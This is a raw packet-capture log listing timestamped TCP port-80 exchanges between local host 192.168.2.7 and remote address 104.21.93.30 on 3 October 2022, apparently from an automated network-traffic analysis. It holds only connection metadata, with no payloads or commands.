Oct 3, 2022 17:34:51.787945986 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.787952900 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.787965059 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.787982941 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.787986040 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.788002014 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.788019896 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.788027048 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.788038969 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.788058043 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.788058043 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.788077116 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.788091898 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.788096905 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.788132906 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.788144112 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.788165092 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.788183928 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.788199902 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.788209915 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.788216114 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.788238049 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.788351059 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.788383961 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.788393021 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.788418055 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.788438082 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.788455963 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.788474083 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.788479090 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.788492918 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.788507938 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.788515091 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.788538933 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.788543940 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.788566113 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.788575888 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.788589001 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.788606882 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.788624048 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.788630009 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.788642883 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.788660049 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.788662910 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.788677931 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.788696051 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.788698912 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.788714886 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.788733006 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.788733959 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.788750887 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.788769007 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.788769960 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.788819075 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.789309978 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.789329052 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.789345980 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.789364100 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.789381027 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.789396048 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.789398909 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.789418936 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.789422989 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.789447069 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.789453983 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.789473057 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.789490938 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.789511919 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.789515018 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.789535999 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.789545059 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.789554119 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.789572001 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.789577007 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.789589882 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.789606094 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.789608002 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.789627075 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.789643049 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.789652109 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.789660931 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.789679050 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.789685965 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.789696932 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.789716959 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.790280104 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.790299892 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.790318012 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.790334940 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.790335894 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.790354013 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.790363073 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.790373087 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.790391922 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.790396929 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.790411949 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.790430069 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.790438890 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.790448904 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.790466070 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.790468931 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.790483952 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.790502071 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.790504932 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.790520906 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.790539026 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.790556908 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.790564060 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.790575027 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.790589094 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.790591955 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.790611029 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.790621042 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.790628910 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.790646076 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.790659904 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.790698051 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.791266918 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.791286945 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.791304111 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.791321993 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.791340113 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.791351080 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.791357994 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.791374922 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.791378021 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.791397095 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.791399956 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.791414976 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.791434050 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.791440964 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.791451931 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.791469097 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.791476011 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.791486979 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.791507006 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.791524887 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.791534901 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.791546106 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.791572094 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.791573048 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.791590929 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.791596889 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.791615963 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.791632891 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.791650057 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.791656017 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.791686058 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.792210102 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.792248011 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.792264938 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.792284012 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.792300940 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.792315960 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.792319059 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.792332888 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.792340994 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.792354107 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.792360067 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.792378902 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.792390108 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.792397022 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.792413950 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.792433023 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.792448997 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.792450905 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.792469978 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.792479992 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.792490005 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.792504072 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.792510033 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.792529106 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.792536974 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.792548895 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.792567968 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.792592049 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.792592049 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.792609930 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.792618990 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.792650938 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.793137074 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.793157101 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.793174028 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.793193102 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.793210983 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.793227911 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.793236017 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.793246984 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.793265104 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.793282032 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.793304920 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.793323040 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.793342113 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.793360949 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.793364048 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.793380022 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.793382883 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.793397903 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.793406010 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.793431044 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.795954943 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.830372095 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.830399036 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.830416918 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.830435038 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.830454111 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.830471992 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.830490112 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.830502987 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.830503941 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.830517054 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.830537081 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.830563068 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.830564976 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.830585003 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.830602884 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.830602884 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.830621004 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.830638885 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.830640078 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.830658913 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.830684900 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.830684900 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.830698013 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.830705881 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.830724001 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.830737114 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.830743074 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.830763102 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.830780029 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.830780029 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.830796957 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.830807924 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.830815077 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.830832958 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.830849886 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.830866098 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.830868006 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.830895901 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.830913067 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.830914021 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.830933094 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.830950022 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.830966949 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.830974102 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.830985069 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.831002951 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.831021070 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.831023932 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.831039906 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.831052065 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.831058025 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.831075907 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.831091881 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.831096888 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.831110954 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.831120968 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.831127882 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.831144094 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.831145048 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.831181049 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.831713915 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.831737041 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.831753016 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.831770897 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.831788063 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.831805944 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.831816912 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.831824064 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.831841946 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.831859112 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.831876993 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.831887007 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.831895113 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.831909895 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.831914902 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.831933975 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.831942081 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.831953049 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.831970930 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.831988096 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.832003117 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.832005978 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.832025051 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.832041025 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.832045078 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.832058907 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.832072973 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.832076073 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.832108974 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.832133055 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.832840919 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.832860947 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.832879066 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.832895994 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.832914114 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.832931042 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.832936049 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.832950115 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.832968950 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.832986116 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.832990885 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.833003998 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.833018064 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.833023071 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.833039999 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.833046913 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.833060026 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.833076954 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.833095074 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.833102942 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.833112955 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.833128929 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.833146095 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.833153009 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.833165884 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.833183050 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.833192110 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.833200932 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.833211899 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.833236933 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.833651066 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.833676100 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.833703041 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.833722115 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.833739996 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.833751917 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.833756924 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.833775997 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.833792925 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.833802938 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.833811045 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.833827972 CEST	49702	80	192.168.2.7	104.21.93.30
